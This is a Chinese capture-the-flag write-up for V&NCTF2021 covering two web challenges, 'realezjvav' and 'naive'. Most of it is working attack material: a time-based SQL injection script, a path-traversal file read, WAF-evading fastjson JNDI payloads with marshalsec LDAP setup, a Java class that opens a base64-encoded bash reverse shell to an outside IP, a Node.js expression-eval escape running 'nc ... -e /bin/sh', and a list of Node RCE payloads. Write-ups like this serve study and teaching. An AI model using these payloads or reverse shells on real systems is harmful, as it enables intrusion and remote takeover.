V&NCTF2021
前言
本次V&NCTF题目质量很高,每一道题都值得细致推敲。
realezjvav
考点:笛卡尔积注入 fastjson Rce复现
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
https://github.com/RandomRobbieBF/marshalsec-jar
进去是一个登录框,先测一下过滤。
看到ban了很多关于时间的函数,benchmark,sleep,rlike,等,于是考虑笛卡尔积查大表注入。
import requests
result = ""
# ev="select(version())"
# ev="select(group_concat(SCHEMA_NAME))from(information_schema.SCHEMATA)"#week3sqli
# ev="select(group_concat(TABLE_NAME))from(information_schema.TABLES)"
# ev="select(group_concat(TABLE_NAME))from(information_schema.TABLES)WHERE(TABLE_SCHEMA)LIKE(0x7765656b3373716c69)"#u5ers
# ev="select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)WHERE(TABLE_SCHEMA)LIKE(0x7765656b3373716c69)"p@ssword usern@me
ev = "select(group_concat(`p@ssword`))from(u5ers)"
for i in range(12,10000):
min_value = 32
max_value = 130
mid = (min_value+max_value)//2 #中值
while(min_value<max_value):
# payload ={"username" : "admin'^" + "(ascii(substr((load_file('/etc/apache2/sites-available/000-default.conf')),{0},1))>{1})".format(i,mid)+"#","password":"1"}
# payload ={"username" : "admin'^" + "(ascii(substr((select database()),{0},1))>{1})".format(i,mid)+"#","password":"1"}
import requests
burp0_url = "http://c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "https://jailbreak.liki.link", "Connection": "close", "Referer": "https://jailbreak.liki.link/", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
burp0_data = {"username": "admin", "password": f"a'^(if(ascii(substr(password,{i},1))>{mid},(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,information_schema.columns/**/B,information_schema.tables/**/C),1))#"}
html=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
# print(payload)
# print(html.text)
sec=html.elapsed.seconds
if sec > 1:
#ascii值比mid值大
min_value = mid+1
else:
max_value = mid
mid = (min_value+max_value)//2
#找不到目标元素时停止
# if(chr(mid)==" "):
# break
result += chr(mid)
print(result)
print("fina flag:",result)
#no_0ne_kn0w_th1s
进去以后查看源代码,里面有个任意文件读取
尝试读一下pom.xml
/searchimage?img=../../../../../pom.xml
读出来以后有fastjson,想到fastjson的漏洞
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.27</version>
</dependency>
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
用原来的payload会被拦截。
在json
格式中,可以通过unicode编码来bypass某些waf。这个点曾经在西湖论剑easyjson
这道题中出过。
在fastjson
中,有了更多的姿势,比如16进制,插入注释等。此外,P神还在星球总结了xml
,yaml
`php serialize`格式的bypass方法。有兴趣的小伙伴可以去看看
0x01 测试外连
{"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://47.97.123.81:11451","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}
测一下发现服务器可以接到数据。
0x02 准备LDAP服务和Web服务
https://github.com/RandomRobbieBF/marshalsec-jar
将marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目录下
在当前目录下运行LDAP服务,修改IP为当前这台服务器的IP
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://47.97.123.81/#Exploit 11452
在当前目录下运行web服务
python3 -m http.server 80 或者 python -m SimpleHTTPServer 80
或者直接在服务器根目录也行,不过一定要是80端口
0x03 修改Exploit并编译成class文件
修改Exploit.java中的反弹IP和端口(准备接收反弹SHELL的服务器IP和监听端口)
使用javac编译Exploit.java,生成Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错)
给出一个弹shell的java文件
public class Exploit{
public Exploit(){
try{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ny4xMjMuODEvMTE0NTEgMD4mMQ==}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
在打之前建议先本地试一下能不能弹shell。
0x04 执行
payload
{"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://47.97.123.81:11452/Exploit","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}
之后,靶机会访问我们的服务器,下载Exploit.class到靶机。
然后运行。我们的服务器也会弹到shell
当然。因为用的是fastjson,十六进制编码也行
{"name":{"\x40\x74\x79\x70\x65":"java.lang.Class","val":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c"},"x":{"\x40\x74\x79\x70\x65":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"ldap://47.97.123.81:11452/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}}
naive
题目总体还不错,就是逆向有点恶心,属实不应该出现在单人赛中。
要是可以读到main.cc那么还可以做,可惜的是这道题main.cc好像被删掉了。导致直接卡死在逆向上。
import express from "express";
import bindings from "bindings";
import { fileURLToPath } from 'url'
import path from "path";
import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;
const addon = bindings("addon");
const file = fileURLToPath(import.meta.url);
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.static("static"));
app.use("/eval", (req, res) => {
const e = req.body.e;
const code = req.body.code;
if (!e || !code) {
res.send("wrong?");
return;
}
try {
if (addon.verify(code)) {
res.send(String(eval_(parse(e))));
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
}
});
app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});
app.listen(process.env.PORT || 80);
source路由那里可以读源码。尝试读包文件,看看有什么依赖
/source?path=../package.json
给了路径
{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"type": "module",
"scripts": {
"start": "node src/index.js",
"build:native": "node-gyp rebuild",
"build:native:dev": "node-gyp rebuild --debug"
},
"dependencies": {
"bindings": "^1.5.0",
"express": "^4.17.1",
"expression-eval": "^4.0.0",
"node-addon-api": "^3.0.2",
"seval": "^2.0.1"
},
"devDependencies": {
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"node-gyp": "^7.1.2",
"prettier": "^2.0.5"
}
}
http://nodejs.cn/api/addons.html
可以查阅文档得到关键文件的目录binding.gyp
build/Release/addon.node
../build/Release/addon.node
../binding.gyp
逆向可以得到验证码
if (addon.verify(code)) {
res.send(String(eval_(parse(e))));
}
这里是用addon中的验证码。
yoshino-s_want_a_gf,qq1735439536
然后就是expression-eval
逃逸了。
于是开始尝试代码执行,用了两个constructor,第一个返回到String,第二个返回到Function才可以导入模块
(1).constructor.constructor()
常规的RCEpayload是打不通的,因为这道题用的是ES6不是CommonJS
在package.json中,"type": "module"
这点在读出的源码和常规node源码导入模块不同也可以发现
http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html
在这里,require()
是用不了的。只能用import
那么怎么用一句话的import进行RCE就是要解决的问题
最终发现了动态加载模块可以执行命令
(1).constructor.constructor("return import('child_process').then((module)=>{module.exec('nc 47.97.123.81 11451 -e /bin/sh')})")();
这里没有回显,执行成功只会显示[object Promise]
于是弹个shell回来
还有一种姿势是把flag写到static下cat /flag > static/flaaagg
然后直接下载flag
nodejs支持设置静态目录从而实现直接访问
总结
立即调用表达式
https://developer.mozilla.org/zh-CN/docs/Glossary/IIFE
(function () {
statements
})();
是一个在定义时就会直接执行的Javascript函数
node.js代码执行payload总结
require('child_process').exec('calc');
global.process.mainModule.constructor._load('child_process').exec('calc') 无require
import('child_process').then((module)=>{module.exec('calc')})
Function对象&anonymous匿名函数
functionName = new Function( [argname1, [... argnameN,]] body );
例子:
var say = new Function("name","return name");
console.dir(say);
console.dir(say("Lily"));
输出
[Function: anonymous]
'Lily'
通过匿名函数 constructor RCE
son=1
console.log(typeof(son))
console.log(son.constructor)
console.log(son.constructor.constructor)
son.constructor.constructor("return global.process.mainModule.constructor._load('child_process').exec('calc')")()
Easy_laravel
因为laravel的链子还没有开始跟,所以就暂时先咕了。。